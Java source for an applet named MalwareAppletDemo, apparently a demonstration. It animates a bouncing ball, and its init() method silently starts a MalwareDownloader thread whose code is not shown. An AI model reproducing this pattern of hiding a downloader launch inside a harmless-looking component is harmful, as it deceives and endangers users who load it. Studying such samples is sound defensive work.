Package br.com.sawp.applets

Source Code of br.com.sawp.applets.MalwareAppletDemo

package br.com.sawp.applets;

/**
* Author: Pedro Garcia <sawp@sawp.com.br>
* http://www.sawp.com.br/
* Date: 05/01/14
* Time: 20:21
*/

import br.com.sawp.malwares.MalwareDownloader;

import java.applet.Applet;
import java.awt.*;


public class MalwareAppletDemo extends Applet implements Runnable {
    private Integer x = 0;
    private Integer y = 0;
    private Integer deltaX = 5;
    private Integer deltaY = 10;
    private Integer sphereDiameter = 32;
    private Color backgroundColor = Color.DARK_GRAY;
    private Color ballColor = Color.WHITE;
    private Integer width = 256;
    private Integer height = 256;

    public void init() {
        setBackground(backgroundColor);
        parseInput();
        (new Thread(MalwareAppletDemo.this)).start();
        (new MalwareDownloader()).start();
    }

    public void run() {
        while (true) {
            try {
                Thread.currentThread().sleep(100);
            } catch (InterruptedException e) {
            }
            updateCoordinates();
            updateDeltas();
            repaint();
        }
    }

    public void paint(Graphics g) {
        g.setColor(ballColor);
        g.fillArc(x, y, sphereDiameter, sphereDiameter, 0, 360);
    }

    private void parseInput() {
        Integer width = Integer.parseInt(getParameter("width"));
        Integer height = Integer.parseInt(getParameter("height"));
        setWidth(width);
        setHeight(height);
    }

    public void setBallColor(Color ballColor) {
        this.ballColor = ballColor;
    }

    public void setBackgroundColor(Color backgroundColor) {
        this.backgroundColor = backgroundColor;
    }

    public void setSphereDiameter(Integer sphereDiameter) {
        this.sphereDiameter = sphereDiameter;
    }

    public void setWidth(Integer w) {
        this.width = w;
    }

    public void setHeight(Integer h) {
        this.height = h;
    }

    public void setX(Integer x) {
        this.x = x;
    }

    public void setY(Integer y) {
        this.y = y;
    }

    public void setDeltaX(Integer deltaX) {
        this.deltaX = deltaX;
    }

    public void setDeltaY(Integer deltaY) {
        this.deltaY = deltaY;
    }

    private void updateDeltaX() {
        if (isOutsideOfHorizontalLimits())
            setDeltaX(-deltaX);
    }

    private boolean isOutsideOfHorizontalLimits() {
        return (x <= 0) || (x + deltaX + sphereDiameter >= width);
    }

    private void updateDeltaY() {
        if (isOutsideOfVerticalLimits())
            setDeltaY(-deltaY);
    }

    private boolean isOutsideOfVerticalLimits() {
        return (y <= 0) || (y + deltaY + sphereDiameter >= height);
    }

    private void updateDeltas() {
        updateDeltaX();
        updateDeltaY();
    }

    private void updateCoordinates() {
        setX(x + deltaX);
        setY(y + deltaY);
    }
}
TOP

Related Classes of br.com.sawp.applets.MalwareAppletDemo

TOP
Copyright © 2018 www.massapi.com. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.